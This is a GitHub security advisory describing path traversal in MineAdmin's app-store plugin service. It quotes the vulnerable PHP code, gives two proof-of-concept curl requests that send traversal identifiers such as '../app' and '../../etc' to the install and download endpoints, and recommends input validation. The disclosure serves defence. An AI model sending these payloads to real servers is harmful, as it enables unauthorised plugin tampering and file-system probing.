OSV 1.4.0 · github-reviewed · 修改于 2026-08-19 04:40
发布时间
2026-08-19 04:40
GitHub 审查时间
2026-08-19 04:40
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-59xm-4m8c-g3xj/GHSA-59xm-4m8c-g3xj.json
The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
File: plugin/mine-admin/app-store/src/Service/Service.php
// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
if (empty($params['identifier']) || empty($params['version'])) {
$this->throwParamsFail();
}
$service = make(AppStoreServiceImpl::class);
if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal
$result = $service->download($params['identifier'], $params['version']);
// ...
}
return true;
}
// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
if (file_exists($path . '/install.lock')) {
$this->throwAppInstalled();
}
Plugin::install($params['identifier']); // May run composer commands with traversal path
return true;
}
// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
Plugin::uninstall($params['identifier']); // Arbitrary uninstall
return true;
}
File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)
# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../app", "version": "1.0.0"}'
# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin
# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../../etc", "version": "1.0.0"}'
Plugin::install() with a traversed identifier may run composer commands on arbitrary directoriesPlugin::install() implementationValidate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.